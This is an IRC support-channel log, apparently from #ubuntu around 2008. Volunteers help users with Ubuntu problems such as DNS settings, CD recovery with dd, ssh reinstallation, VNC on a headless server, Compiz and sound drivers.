[10:29] <Metatron> search on LiveCDPersistence in forums
[10:30] <xkpe> how can i make the changes that i made persistent?
[10:30] <pajamian> xkpe: how did you change the DNS?
[10:30] <KlimJay> Does anyone know, when the next release will be out, will "Wubi" users be able to upgrade just like if they had real partitions and as easy as if they did ?
[10:30] <Static_> Can someone pls help this is my first time with *ix pgms.  I have loaded ubuntu 8.04.1 LTS onto a Pent. III with 512mb ram, once kernel is loaded I get a msg on screen ubuntu@ubuntu: ~$ _
[10:31] <KlimJay> Or will the Wubi ( C:/host/ ) have to be redone completly ?
[10:31] <Static_> What nextt?
[10:31] <Metatron> puppylinux is a great live cd that saves sessions, whole things runs in 128 ram, dosent even hit the cd
[10:31] <xkpe> pajamian,  leftt click on the network icont on gnome panel, then manual config, then DNS tab and changed it
[10:31] <Metatron> but look here
[10:31] <Metatron> http://ubuntu.wordpress.com/2006/02/14/persistent-settings-and-files-with-livec ds/
[10:31] <stetho> Hi - I have an Ubuntu box which I use as a music server. It has things like Ampache installed on it. I want to be able to rip my CDs on to it without using a monitor - put the CD in, some piece of software says "that's an audio CD" - copies the tracks to a directory and then ejects the CD. At the moment all the software I can find requires human interaction. Does anyone know of a package that will rip CDs without human interaction?
[10:31] <stylianos> Hey
[10:32] <stylianos> Can somebody explain me how to get started with Compiz please?
[10:32] <pajamian> xkpe: as far as I know that should stay persistent, it does for me.
[10:32] <Metatron> steho some of those programs probably allow scripting
[10:33] <pajamian> stetho: I would write a shell script to do it from the command line and have that run when you insert a CD
[10:33] <ushimitsudoki> Hello - A program (qjackctl) runs for me but the window does not appear. If I run it with gksu, though, the window does appear. What could be causing this?
[10:33] <Metatron> anyone else have issues with update manager deciding what it wants to update, not what you check or uncheck, i REALY dont want to get the 26mb sun update now
[10:33] <xkpe> pajamian, after less that 1 minute it changes back to what it was and internet stops working
[10:33] <stylianos> ushimitsudoki: How do u run the program?
[10:34] <stylianos> I mean how do you run it and a window does not appear?
[10:34] <stetho> How can I tell if an Audio CD has been inserted?
[10:34] <pajamian> xkpe: do you use DHCP to get your IP address?
[10:34] <ushimitsudoki> stylianos: I have tried it both from the menu and the command line ... it is one command (qjackctl)
[10:34] <ushimitsudoki> stylianos: I know I broke it somehow because it used to work fine. I'm just not sure how to find what I changed
[10:34] <bob1> c
[10:35] <xkpe> pajamian, the wired connection it says roaming mode, im running ubuntu on vmware
[10:35] <pajamian> xkpe: I would try taking it off roaming mode and change it to either static or DHCP
[10:36] <pajamian> stetho: I think there's a setting that controls what application gets launched when an audio CD is inserted, it is set by default to Audio CD Extractor, you can write your own shell script and set it to that instead.
[10:38] <stetho> pajamian: The box is built on Ubuntu server not a desktop version. Any ideas where this setting might be?
[10:39] <pajamian> stetho: hrmmmm, not right off the top of my head.  Maybe it's in fstab or a property of automount
[10:39] <stetho> That's a good point. It's likely to be automount. I'll have a dig round. Thanks for your suggestions
[10:39] <[nrx]> anyone fancy helping me try and read data off 2 cd's that appear to be corrupt? :(
[10:40] <powertool08> how do I change a ports status from open to filtered?
[10:40] <bullgard4> What program is well suited to view pictures from .png files?
[10:42] <pajamian> [nrx]: I can give a couple pointers ...
[10:42] <pajamian> [nrx]: first clean the CDs as best as you can ...
[10:42] <stylianos> Hey
[10:42] <stylianos> Where is CCSM?
[10:42] <[nrx]> pajamian; so far I've cleaned the cd's, polished with a MF cloth - they're not badly scratched at all. I can read much worse CD's
[10:43] <pajamian> [nrx]: ok, if they are badly scratched you can take them to a video store and they will usually run them through their resurfacing machine for about $5 or less...
[10:43] <pajamian> [nrx]: you can use dd to copy the contents to a .iso image file
[10:44] <[nrx]> pajamian, not scratched :) - can't even read them properly. I get errors: end_request: I/O error, dev sr0, sector 0
[10:44] <pajamian> [nrx]: you can use conv=noerror with dd to get it to continue to copy the rest of the disk after it encounters an error.
[10:44] <[nrx]> I can't even mount it though :s
[10:45] <pajamian> [nrx]: you don't need to mount it for dd
[10:45] <[nrx]> can I PM you?
[10:45] <pajamian> [nrx]: once it copies you can try to mount the .iso image as loopback
[10:45] <pajamian> [nrx]: yeah, alright.
[10:47] <Metatron> panjmain, there is a util called ivman for working with HAL, it might be something that can notify you
[10:47] <Metatron> "Ivman can be used to execute arbitrary commands when devices are added to or removed from your system, or when device properties change. "
[10:48] <pajamian> Metatron: stetho would be interested in that.
[10:48] <Metatron> oh, my eyes are crossing, i read wrong nick
[10:53] <monostone> does Xorg.O.log report ONLY xserver info? it will never show a kernel info/error message right?
[10:54] <Gourlis> hello, i saw in youtube a video of ubuntu beryl. i have ubuntu normal, how can i move to ubuntu beryl ?
[10:55] <basti> Gourlis, just install beryl
[10:55] <Gourlis> beryl is a theme or an application ?
[10:55] <Gourlis> external on ubuntu ?
[10:55] <Metatron> you might be thinking of compiz also, they are related somewhat
[10:56] <Kartagis> when I do apt-get remove tcl8.4, it will remove xchat too. how do I remove tcl only?
[10:56] <clarence1> what time is it?
[10:56] <Metatron> compiz-beryl-fusion, windows managers that replace ubuntu defaults, have theme abilities of there own
[10:56] <Gourlis> Metatron and basti, where can I find beryl?
[10:56] <Gourlis> i tried compiz but they are not working on my pc all effects
[10:56] <basti> its in the repo
[10:57] <Gourlis> thats why i want to see beryl
[10:57] <Gourlis> because i loved it most in youtube :P
[10:57] <Metatron> beryl is outdated, its called something else now
[10:57] <Metatron> i think
[10:57] <favro> !compiz
[10:57] <Metatron> compiz is the new beryl
[10:57] <Gourlis> ok guys
[10:58] <Metatron> www.beryl-project.org
[10:58] <Gourlis> thx a lot
[10:58] <clarence1> how to install another desktop Environment
[10:58] <Metatron> clarence1: such as?
[10:59] <clarence1> KDE
[11:00] <favro> clarence1: sudo apt-get install kubuntu-desktop  - or search in synaptic
[11:00] <Metatron> it is in the repository
[11:00] <favro> !kubuntu
[11:00] <powertool08> is it a bad idea to run wireshark as root?
[11:00] <Gourlis> how can i see if i have compiz fusion still installed on ubuntu? and how can i remove it if i want ubuntu later to be default?
[11:01] <clarence1> ok.....I see
[11:01] <Metatron> compiz requires a command to start it, basicaly telling it to start and replace the ubuntu default, but it is only temp till next boot, you have to add a command to start it to make it perm, or run the command at will
[11:02] <clarence1> Do compiz fusion support ATI mobility X600 SE
[11:02] <Gourlis> how can i see if i have compiz fusion still installed on ubuntu? and how can i remove it if i want ubuntu later to be default?
[11:02] <favro> !packages > clarence1
[11:02] <Metatron> compiz --replace   is the command
[11:02] <Metatron> sheesh
[11:03] <_MacTavish_> Hello
[11:04] <nono031> Hello
[11:06] <_MacTavish_> How are you doing?
[11:06] <clarence1> Who
[11:06] <_MacTavish_> I?
[11:06] <nono031> ???
[11:06] <onlooker> Hey. I have a problem. My max resolution was for some reason 1024*768 on my GeForce 2 MX 400. I googled around and found this site: https://bugs.launchpad.net/ubuntu/+source/xresprobe/+bug/49827 . Following the instructions, I've successfully upped my resolution, but now 3D stuff won't work. Any ideas?
[11:07] <_MacTavish_> Hi
[11:07] <mizipzor> in Transmission, how do I add additional trackers to a torrent?
[11:07] <sinan> there is something i don't understand. Doesn't X start before i login? How is it supposed to know what .xinitrc file to read, supposing i put it in my home folder?
[11:08] <XGas> mizipzor: See the Information section for the torrent
[11:08] <mizipzor> XGas: in the file?
[11:08] <_MacTavish_> Pancake
[11:08] <abe3k> hi, is there a terminal command or a tool that puts a string in the clipboard ?
[11:08] <favro> sinan: afaik X starts after you login
[11:08] <XGas> mizipzor: no, the torrent.
[11:08] <XGas> mizipzor: after you added it into Transmission
[11:09] <sinan> favro: how does the gdmgreeter render, then? (i am actually asking :) )
[11:09] <soundray> !info xsel | abe3k
[11:09] <_MacTavish_> Boringly
[11:09] <mizipzor> XGas: i have a button called "Details", thats what you mean? I poked around a bit in there but couldnt find anything
[11:09] <abe3k> thank you guys
[11:09] <XGas> mizipzor: Yeah, that one
[11:10] <favro> sinan: it is limited to 16 colors until X starts afaik - so is limited to the vt colors
[11:10] <_MacTavish_> Nono why be silent?
[11:10] <muxer> Would using a working xorg.conf in Ubuntu also work under FreeBSD?
[11:11] <combo> does anybody know how to set re-wind in KAFFEINE from about 20 seconds to 10 seconds? can't find that option :/
[11:12] <mizipzor> XGas: hmm, the only field i could find that i could type something in is the "comment" filed... sounds like the wrong one
[11:12] <_MacTavish_> By
[11:12] <jigp> hello how to hide the users from login bar?when i start my ubuntu there is a wizard that you will choose your nick which one to login into..how to hide my user name?thanks
[11:12] <muxer> Would a working xorg.conf in Ubuntu work in FreeBSD also?
[11:13] <Metatron> muxer, ive never tried but i would say it could work
[11:13] <Blink> Hello, I have a Toshiba Satellite A300 and I want to install Ubuntu. But when I insert the CD and choose "Install Ubuntu" from the menu, it freezes there.
[11:13] <Blink> Is that a known issue?
[11:14] <morningwalker> ssh isnt working for me
[11:14] <muxer> Metatron Alright, I guess I'll give it a shot anyway
[11:14] <morningwalker> how can i reinstall ssh?
[11:14] <XGas> mizipzor: Ah, it seem that you cannot add it in Transmission, you can try a different Bittorrent client like Deluge for example.
[11:14] <VSpike> jigp: System->Administration->Login Window
[11:14] <soundray> morningwalker: describe the problem
[11:15] <_MacTavish_> Ha
[11:15] <mizipzor> XGas: ill take a look at deluge, thanks :)
[11:15] <Metatron> connecting via ssh to the machine or to a remote machine
[11:15] <_MacTavish_> Hm
[11:15] <soundray> jigp: like VSpike says, then on the Users tab, disable face browsing
[11:15] <XGas> Strange thing is, I remember seeing that option in Transmission
[11:15] <morningwalker> soundray, after executing the command ssh (usrname)@(ipaddress)
[11:15] <morningwalker> there is no reply
[11:15] <XGas> hmm, might be a different built
[11:15] <_MacTavish_> Nono
[11:15] <soundray> morningwalker: you have to have sshd running on the machine to which you are trying to connect
[11:15] <CanisLupus> morninwalker, reinstall: sudo aptitude reinstall ssh
[11:16] <soundray> morningwalker: try 'sudo apt-get install ssh' to put that in place
[11:16] <jigp> soundray : im not using gnome. im using kde... VSpike
[11:16] <mizipzor> XGas: apt-get didnt find deluge, is it in there?
[11:16] <VSpike> morningwalker: sudo apt-get purge openssh-client && sudo apt-get install open ssh-client
[11:16] <VSpike> morningwalker: assuming you mean client, not server
[11:16] <Metatron> make sure the ssh machine doesnt have the ports blocked by a firewall, and of course like soundray said, its running threre, test from a diffrent mahcine if u can
[11:16] <soundray> jigp: are you using kdm or gdm for logging in?
[11:16] <VSpike> morningwalker: that will nuke most settings for ssh too
[11:16] <jigp> kdm
[11:16] <XGas> mizipzor: Full name in Ubuntu repo is: deluge-torrent
[11:16] <sinan> i have created a .xinitrc in my home folder, and put this inside (http://pastie.org/266550), which to my understanding should present me with a terminal when i login, but it simply loads a normal gnome interface. What am i doing wrong?
[11:17] <soundray> jigp: your question may be best asked in #kubuntu
[11:17] <morningwalker> Vspike nuke??
[11:17] <mizipzor> XGas: thanks, just fond that on the forum... is there a way to search in the repo?
[11:17] <VSpike> morningwalker: if you want to really purge all settings, do "rm -r ~/.ssh" too
[11:17] <VSpike> morningwalker: as in purge
[11:17] <VSpike> morningwalker: remove
[11:17] <Pirate_Hunter> can someone help me please I have installed dansguardian, firehol, tinyproxy and squid but it seems that all pages are being blocked
[11:18] <Blink> Hello, I have a Toshiba Satellite A300 and I want to install Ubuntu. But when I insert the CD and choose "Install Ubuntu" from the menu, it freezes there. Any help, please?
[11:18] <VSpike> jigp: there's a similar tool in kde control panel
[11:18] <XGas> mizipzor: Nope, I don't know, you can still use aptitude to search though.
[11:18] <jigp> soundray : no no..i am using ubuntu and i just install the kde.im in gnome actually..i just select the kde :D
[11:19] <VSpike> jigp: do you get the kde login window or the gnome one?
[11:19] <sinan> Any can help me with xinitrc? I have created a .xinitrc in my home folder, and put this inside (http://pastie.org/266550), which to my understanding should present me with a terminal when i login, but it simply loads a normal gnome interface. What am i doing wrong?
[11:19] <jigp> kde
[11:19] <VSpike> jigp: ps aux | grep [kg]dm
[11:19] <jigp> VSpike : kde
[11:19] <jokkaa> Could anyone help me how i can change the permissions on my harddrives? i have a new one and its automounted with my old ones, but i cant read and write in it. any help?
[11:20] <soundray> morningwalker: please try my suggestion before you do any reinstalling
[11:20] <Metatron> sinana, all i can say is ubunut doesnt behave like many other distro's on how it boots and handles run levels, i still dont get it all they way
[11:20] <soundray> !newdrive | jokkaa
[11:21] <Kira[work]> Does Ubuntu store some kind of hardware ID of the SMBus controller somewhere?
[11:22] <morningwalker> soundray' m running sudo apt-get install ssh now
[11:22] <soundray> sinan: by default, ubuntu ignores this and runs the default session. Try changing the session at login -- Failsafe gives you a terminal session.
[11:23] <VSpike> jigp: then you need to use the kde control panel tool or edit kdmrc directly .. http://docs.kde.org/stable/en/kdebase-workspace/kdm/kdm-files.html
[11:23] <Pirate_Hunter> can someone help me please I have installed dansguardian, firehol, tinyproxy and squid but it seems that all pages are being blocked "apparently if i remove squid dansguardian complains but than these tut dont explain how to configure squid - http://ubuntuforums.org/showthread.php?t=207008, http://www.pilpi.net/journal/item-985.php"
[11:23] <soundray> Kira[work]: I don't really know, but I would look under /proc/bus/
[11:24] <jokkaa> the "etc/fstab" for my old drive and new are the same except drive names... one is sdc1 other is sda1, what could be wrong?
[11:24] <sinan> soundray: how do i change the session at login?
[11:24] <soundray> jokkaa: did you look at the page ubottu gave you?
[11:25] <soundray> sinan: click on Options at the bottom left
[11:25] <jokkaa> yeah but its confusing me
[11:25] <jokkaa> lol nvm. i was on wron glink ^^
[11:25] <jigp> VSpike : my nick/loginname will hide?except for the other users :)
[11:26] <sinan> soundray: thanks 2A!
[11:26] <indian_munnda> can any one tell me how to open up a port in the router?
[11:28] <magnetron> indian_munnda, no, because it totally depends on your router. see http://portforward.com/ for instructions
[11:29] <monostone> I somehow managed to mess up the keymappings for my logitech USB G11 keyboard media keys. Xorg.0.log is beggining to report a "(II) Unreported Prefix0 scancode: 0x22" message, i investigated a bit and saw that the hex codes the messages print are the keydown scancode of the media keys as detected by running "showkey -s". BUT xev does NOT detect the media keys anymore, on the other hand in gnome keyboard shortcuts the keys ARE dete
[11:29] <monostone> cted, also running "lshal -m" does detect the keysym for all the media keys. Media players like Rythymbox continue to have the media keys working, but totem has lost them. Any pointers as to what the problem is? could this be a kernel keymap issue? or since the message appears in my Xorg.0.log, is it a X issue?
[11:31] <VSpike> jigp: oh, you want to hide just yours?
[11:32] <VSpike> jigp: not sure if you can do that
[11:32] <jigp> VSpike : yeah hehehe
[11:32] <B|ackPanther> can anyone tell me why "man fgets" says there is no manual entry for fgets ?
[11:32] <soundray> VSpike: it's possible in gdm. Not sure about kdm
[11:33] <ubuntunewbie007> hi
[11:33] <ubuntunewbie007> recently i install oss latest version in ubuntu studio
[11:33] <ubuntunewbie007> and now its showing me oss mixer as default device but i want to revert back to alsa as mic not working in oss, what to do
[11:34] <soundray> B|ackPanther: because there is no manual entry.
[11:34] <jrib> B|ackPanther: install manpages-dev
[11:34] <soundray> !info manpages-dev | B|ackPanther
[11:35] <siavasht> how can i convert a chm file into text ?
[11:36] <B|ackPanther> soundray, thanks lots
[11:36] <soundray> B|ackPanther: jrib deserves it more
[11:36] <soundray> !info archmage | siavasht
[11:37] <siavasht> archmage converts them into htm not text
[11:37] <B|ackPanther> jrib,thanks more.
[11:37] <jrib> B|ackPanther: ha, no problem
[11:37] <jigp> thanks VSpike
[11:37] <soundray> siavasht: from there, it's easy to convert to text, e.g. lynx -dump
[11:38] <jigp> soundray : how to hide the nick or loginname?
[11:38] <ushimitsudoki> Why would an application run the process when i launch it, but not draw it's window? However if I run it as root it runs both the process and shows the window?
[11:38] <jigp> soundray : in gnome
[11:38] <siavasht> can you redirect me to a manual or hpw to ? tnx
[11:38] <pajamian> siavasht: http://en.wikipedia.org/wiki/Microsoft_Compiled_HTML_Help#Extracting_to_HTML
[11:39] <jrib> ushimitsudoki: what application?  that's usually a sign of permission issues
[11:39] <soundray> jigp: System-Administration-Login Window, on the Users tab, untick the /etc/passwd option and list all users you want to be visible.
[11:39] <ushimitsudoki> jrib: qjackctl. it was working just a few days ago.
[11:40] <soundray> siavasht: do your conversion with archmage, then 'lynx -dump helpfile.html >helpfile.txt'
[11:40] <soundray> !info lynx | siavasht
[11:40] <jrib> ushimitsudoki: have you tried running it from a shell and looking for any output?
[11:41] <pajamian> soundray: siavasht: links is better
[11:41] <pajamian> !info links
[11:41] <soundray> pajamian: not for dumping
[11:41] <jigp> soundray : thanks..no luck for kde? :) or how to tag it in google? like perfect search..been trying to search like "hinding user name kde and gnome" no luck
[11:41] <ushimitsudoki> jrib: yes. from the shell there is only a warning which also appears with gksu and a web search says to just ignore (it is a "locale not found" message) There isn't any indication of an error
[11:41] <pajamian> soundray: you can dump from links
[11:41] <Pirate_Hunter> can someone help me please I have installed dansguardian, firehol, tinyproxy and squid but it seems that all pages are being blocked "apparently if i remove squid dansguardian complains but than these tut dont explain how to configure squid - http://ubuntuforums.org/showthread.php?t=207008, http://www.pilpi.net/journal/item-985.php", how can i stop that?
[11:41] <soundray> jigp: ask in #kubuntu. No reason to be afraid.
[11:42] <soundray> pajamian: but lynx's dumps are better
[11:42] <jrib> ushimitsudoki: do you know where it keeps its config files in your HOME?
[11:42] <ushimitsudoki> jrib: yes. in ~/.qt/qjackctlrc
[11:42] <pajamian> soundray: I haven't noticed much of a difference ... but ok
[11:42] <jrib> ushimitsudoki: check permissions and ownership on ~/.qt and everything under it
[11:43] <ActionParsnip> yo yo yo
[11:43] <soundray> pajamian: I use lynx -dump to read html mail in mutt all the time. It produces nicer formatted output -- links's is messy in comparison. Maybe I should try again, as links is being actively developed...
[11:44] <ushimitsudoki> jrib: it looks like those directories belong to me. I did delete the config file tho, while trying to get it working
[11:44] <ActionParsnip> soundray: tried lynx2
[11:44] <pajamian> soundray: I'll have a comparison when I get a chance
[11:45] <jrib> ushimitsudoki: using a custom theme of some kind?  revert to the default and see if it still happens
[11:45] <soundray> ActionParsnip: I was unaware of it. Is it any good?
[11:45] <tamer> how i can add windows license to wine
[11:46] <ActionParsnip> soundray: no idea, i've only heard of it
[11:46] <ActionParsnip> tamer: how do you mean?
[11:46] <Dr_Markey> tamer: how do you mean?
[11:46] <ubuntunewbie007> hi action
[11:46] <kindofabuzz> tamer, why would you need to?
[11:46] <jrib> ushimitsudoki: what's the output of 'groups' as well?
[11:46] <ubuntunewbie007> i have install latest oss mixer now am not able to revert back to alsa
[11:46] <ActionParsnip> hi ubuntunewbie007
[11:46] <ubuntunewbie007> :(
[11:46] <tamer> to install some needed runtime
[11:47] <ActionParsnip> ubuntunewbie007: check sound preference
[11:47] <eth01> runtime wouldn't require you have a license as such
[11:47] <ubuntunewbie007> i did
[11:47] <ubuntunewbie007> high definition audio ( oss mixer ) is there
[11:47] <tamer> when i open win door nothing i can install right
[11:47] <soundray> ActionParsnip: actually, it's what I'm using (Lynx Version 2.8.5rel.1 on feisty, Lynx Version 2.8.6rel.4 on hardy)
[11:47] <ubuntunewbie007> is there anyway to do something like restore of windows?
[11:47] <ActionParsnip> ubuntunewbie007: does alsa not fly?
[11:48] <ActionParsnip> soundray: haha nice
[11:48] <siavasht> ﻿soundray:tnx ! that did the trick
[11:48] <Kira[work]> wow
[11:48] <ubuntunewbie007> alsa was working, but i installed oss to try it out now its giving me hard time uninstalling it
[11:48] <eth01> hmm? ;)
[11:48] <Kira[work]> my hardy vm is acting really strange since I moved it to another host
[11:48] <Kira[work]> when I run "gksudo gedit"
[11:48] <soundray> !enter | Kira[work]
[11:48] <Kira[work]> and click on the "Open" button (to open files)
[11:48] <ubuntunewbie007> when i modprobe intel_hda_sound it gives me error unknown symbol
[11:49] <ActionParsnip> Kira[work]: try gksu gedit /path/to/file.txt
[11:49] <Kira[work]>  the window disappears from the screen
[11:49] <ushimitsudoki> jrib: no theme changes for a while. groups lists about a dozen including myusername adm dialout cdrom floppy audio dip video plugdev scanner lpadmin admin net dev powerdev vboxusers sambashare ventrilo usbusers
[11:50] <ubuntunewbie007> :-<
[11:50] <qi> - -
[11:50] <ubuntunewbie007> :-$
[11:50] <jokkaa> problem solved! chmdd (orsomething like that) did the trick
[11:51] <ubuntunewbie007> chmod*
[11:51] <Kira[work]> How do I rescue windows that have hidden themselves out of the area of the screen?
[11:51] <jokkaa> chown*
[11:51] <ActionParsnip> Kira[work]: alt+tab
[11:52] <ubuntunewbie007> anybody
[11:52] <monostone> I somehow managed to mess up the keymappings for my logitech USB G11 keyboard media keys. Xorg.0.log is beggining to report a "(II) Unreported Prefix0 scancode: 0x22" message, i investigated a bit and saw that the hex codes the messages print are the keydown scancode of the media keys as detected by running "showkey -s". BUT xev does NOT detect the media keys anymore, on the other hand in gnome keyboard shortcuts the keys ARE dete
[11:52] <monostone> cted, also running "lshal -m" does detect the keysym for all the media keys. Media players like Rythymbox continue to have the media keys working, but totem has lost them. Any pointers as to what the problem is? could this be a kernel keymap issue? or since the message appears in my Xorg.0.log, is it a X issue?
[11:52] <ubuntunewbie007> ?
[11:52] <philippe_> join #ubuntu-fr
[11:52] <Kira[work]> wait...
[11:53] <Kira[work]> darn
[11:53] <soundray> ubuntunewbie007: when you want to experiment with software that isn't packaged, you should really think of how to go back to a sane configuration beforehand.
[11:53] <Kira[work]> the gedit process actually got killed.
[11:53] <soundray> ubuntunewbie007: now that the damage is done, I think the quickest way to get back may be to reinstall Ubuntu.
[11:53] <ActionParsnip> monostone: https://help.ubuntu.com/community/MultimediaKeys
[11:53] <jrib> ushimitsudoki: well you're not alone at least: http://bbs.archlinux.org/viewtopic.php?id=31843 .  Not really sure what else to check
[11:53] <ubuntunewbie007> so there's no way now ? except re-installing? i followed the procedure to install it from help.ubuntu.com, thre's procedure to uninstall also, but its not working why?
[11:54] <ActionParsnip> ubuntunewbie007: how did you install the oss stuff?
[11:54] <soundray> ubuntunewbie007: alternatively, look what 'linux-image-*' and 'linux-modules-*' packages you have installed and run a 'sudo apt-get --reinstall install packagename' on them.
[11:54] <ubuntunewbie007> let me give u the link. here it is https://help.ubuntu.com/community/OpenSound
[11:54] <ubuntunewbie007> check it sir
[11:55] <soundray> ubuntunewbie007: it would help if you said exactly what fails and how
[11:55] <jrib> ushimitsudoki: does jack have its own config file in your home maybe?  Try 'find ~/.* ! -user $USER'
[11:55] <ushimitsudoki> jrib: yes that is my exact problem..let me check on that config file
[11:56] <MarcoZ> I need to setup a X on a server with no display and tty0, does anybody know how do i do it? i want to be able to control it with freenx
[11:56] <ubuntunewbie007> ok soundray let me try :)
[11:56] <ActionParsnip> ubuntunewbie007: http://ubuntuforums.org/showpost.php?p=5539687&postcount=331
[11:56] <tamer> i face installation failed in wine door every time i want to install anything
[11:57] <tamer> anyone can help please
[11:57] <soundray> MarcoZ: it would be much easier to set this up if you could connect a keyboard and monitor at least temporarily
[11:57] <ActionParsnip> tamer: what you trying to install?
[11:57] <MarcoZ> fact is i can't
[11:57] <tamer> Ares fonts anything
[11:57] <MarcoZ> the server is a VPS, i don't have physical access to it
[11:57] <ubuntunewbie007> bro action i tried all that, its not working at all, all those commands saying that package is not installed
[11:57] <soundray> MarcoZ: okay
[11:57] <ActionParsnip> tamer: whats that?
[11:57] <soundray> MarcoZ: have you considered X forwarding via ssh?
[11:58] <tamer> any package faled to install
[11:58] <rampageoberon> MarcoZ: YOu could install tightvnc server and then run gnome-panel
[11:58] <MarcoZ> That'd be an option, but i don't know how to set it up correctly.
[11:58] <MarcoZ> besides i'm on windows
[11:58] <albech> i have a strange network problem here.. i can connect to any website and all services like skype, msn etc are working.. but I cannot get http data from Google. I can ping and traceroute google just fine. Any suggestions?
[11:58] <ubuntunewbie007> i am doing reinstall of linux-image-*
[11:58] <MarcoZ> so i need a client for windows :\
[11:58] <ubuntunewbie007> lets c
[11:58] <rampageoberon> MarcoZ: thats fine, putty and vncviewer for windows works
[11:58] <soundray> MarcoZ: you can get an X server for Windows with cygwin
[11:59] <ubuntunewbie007> basically whenever we do something with hardware drivers? it effects linux-image? kernel? right?
[11:59] <MarcoZ> aight.
[11:59] <MarcoZ> however the problem is, let X startup with nothing
[11:59] <rampageoberon> MarcoZ: sudo aptitude install tightvncserver
[11:59] <ubuntunewbie007> be right back action and soundray :)
[11:59] <ActionParsnip> tamer: do you mean ares the p2p client?
[11:59] <uriel_> hello, i have 2 harddisk 1 is 80gband the other is 160 empty i want to copy the data from 1 to another but i want each partition to be X2 what is the shortest way to do that what programs should i use ?
[12:00] <tamer> yes
[12:00] <ActionParsnip> tamer: its just a gnutella client
[12:00] <ActionParsnip> !gnutella
[12:00] <ushimitsudoki> jrib: that find doesn't show anything related i think
[12:00] <ActionParsnip> tamer: do try to find open alternatives instead of running a great tonne of apps via wine
[12:01] <ActionParsnip> uriel_: create the partitions and dd them over
[12:01] <tamer> ok how i can modify my applications menu in the top of the screen
[12:01] <jrib> ushimitsudoki: it shouldn't return anything unless you have a specific reason for having files owned by someone other than your user in your HOME
[12:01] <MarcoZ> tightvnc seems to startup, but when i try to connect to it it refuses my connection.
[12:01] <tamer> because some not needed items are there
[12:01] <ActionParsnip> uriel_: or you could boot to livecd and cp it over but i think you'd have to reinstall grub
[12:01] <jrib> tamer: right click on the ubuntu icon
[12:01] <rampageoberon> MarcoZ: how are you trying to connect
[12:01] <soundray> tamer: System-Preferences-Main Menu
[12:01] <moDumass> hey all, um anyone tried this "crome" google browser?
[12:01] <moDumass> any good
[12:02] <frink_> hey folks
[12:02] <ActionParsnip> uriel_: why not just keep both and remap /home to be on the new drive?
[12:02] <uriel_> if i will dd them
[12:02] <MarcoZ> realvnc, controlling if use protocol 3.3 is still enabled
[12:02] <tamer> thanks
[12:02] <rampageoberon> MarcoZ: how did you start tightvncserver?
[12:02] <ushimitsudoki> jrib: lots of enemy-territory stuff and trash results ... that's about it
[12:02] <uriel_> will hte partition wont lose its size?
[12:02] <XGas> moDumass: Really depends on how much you use, and your taste.
[12:02] <soundray> moDumass: this is offtopic
[12:02] <frink_> Anybody noticed that if you search for "open office" on google the first hit is a sponsored link to www.openoffice.org-suite.com where you have to pay to download it...
[12:02] <uriel_> cause the 80 gb drive is dieing
[12:02] <ActionParsnip> uriel_: id websearch round but you should be ok
[12:02] <XGas> moDumass: Chrome*
[12:02] <MarcoZ> rampageoberon, is there something i need to specify when starting it?
[12:03] <soundray> !ot | frink_
[12:03] <jrib> ushimitsudoki: you should try starting jack some other way, using a different frontend and see if it works.  /me running out of ideas
[12:03] <XGas> yeah, off-topic, ask somewhere else, lol.
[12:03] <moDumass> soundray, you are awesome, i figured asking smart people was wise
[12:03] <rampageoberon> MarcoZ: tightvncserver :0
[12:03] <ActionParsnip> uriel_: http://ubuntuforums.org/showthread.php?p=5493584#post5493584
[12:03]  * frink_ tuts
[12:03] <uriel_> thank alot
[12:03] <uriel_> thanks*
[12:03] <soundray> moDumass: it is, but you should choose the right channel, since this one is flooded with on-topic requests already
[12:03] <rampageoberon> then with win vncviewer.exe connect to <youraddress>:5900
[12:03] <ushimitsudoki> jrib: alright i appreciate it. if you think of anything just let me know ... i will continue to hack away :)
[12:04] <rampageoberon> MarcoZ:  then with win vncviewer.exe connect to <youraddress>:5900
[12:04] <moDumass> soundray, dont worry about it
[12:04] <MarcoZ> A VNC server is already running as :0
[12:04] <MarcoZ> weird.
[12:04] <prog077> I had a question
[12:04] <prog077>  Do you read the files of windos on linux?
[12:04] <ubuntunewbie007> re-installing linux-image-* didnt help @ soundray
[12:04] <ubuntunewbie007> in sound preferences still oss mixer showing there not alsa one :-<
[12:04] <uriel_> but lets say each partitoin now is 20gb
[12:04] <jrib> prog077: you mean from your windows install on another partition?
[12:04] <rampageoberon> MarcoZ: ok so can you not connect with vncviewer.exe from windows?
[12:04] <uriel_> and i want each to be 40
[12:04] <uriel_> u see ?
[12:04] <ActionParsnip> prog077: do you want to read your ntfs partition from linux?
[12:05] <MarcoZ> Yes, if i go :1
[12:05] <MarcoZ> and :5901 after the IP
[12:05] <moDumass> i would have thought that it would be release for linux first, bummer
[12:05] <ActionParsnip> uriel_: sure, that walkthrough should help. id do it  a better way and just install on the new drive and copy over what you need
[12:05] <MarcoZ> still, authentication failed, duh
[12:05] <prog077> ????????
[12:05] <jrib> ushimitsudoki: hmm, you could try to 'strace qjackctl' and see what it's doing at the end
[12:05] <jrib> prog077: what are you trying to do exactly?
[12:05] <DistroJockey> prog077, sometimes
[12:06] <rampageoberon> MarcoZ: what authentication are you using in your client/
[12:06] <ActionParsnip> prog077: do yo uhave a dual boot system and want to read the windows files in linux?
[12:06] <MarcoZ> realvnc's default
[12:07] <ActionParsnip> oh well
[12:08] <rampageoberon> MarcoZ: not sure what the problem is, try change the encryption method. Its working for me via linux vncviewer client but i have done it in windows before
[12:08] <techno> i tried to connect to internet using sudo pppoeconf  but it disconnects after few minutes !!!! please help
[12:09] <hardcore> fucks sake
[12:09] <soundray> techno: try to find out from the log files why it disconnects
[12:09] <soundray> !language | hardcore
[12:09] <hardcore> i cant change resolution anywhere, i cant install gfx card drivers and everytime i try to click something with my mouse the windows run away
[12:09] <techno> can u tell me the command
[12:10] <soundray> techno: 'less /var/log/syslog'
[12:10] <ActionParsnip> hardcore: what graphics card do you have?
[12:10] <hardcore> nvidia 8800 gt
[12:10] <soundray> techno: there may also be a separate ppp log, I'm not sure. Look in /var/log
[12:10] <ActionParsnip> hardcore; sudo apt-get install envyng-gtk; gksu envyng-gtk
[12:10] <hardcore> thats my problem
[12:10] <hardcore> i dont know where to put those commands
[12:10] <hardcore> no tutorial tells that
[12:11] <ActionParsnip> hardcore: in terminal
[12:11] <xkpe> pajamian, i tryed  dhcp, and static, and i have the same problem, the eth1 defenitions dont change, its only the dhcp, that after a little while its changed
[12:11] <hardcore> i see
[12:11] <Starchaser> hi. does anybody know ubuntu repository with linuxdcpp?
[12:11] <ActionParsnip> !terminal | hardcore
[12:11] <ActionParsnip> hardcore: any code like that goes in terminal
[12:11] <ActionParsnip> hardcore: you can copy / paste there too
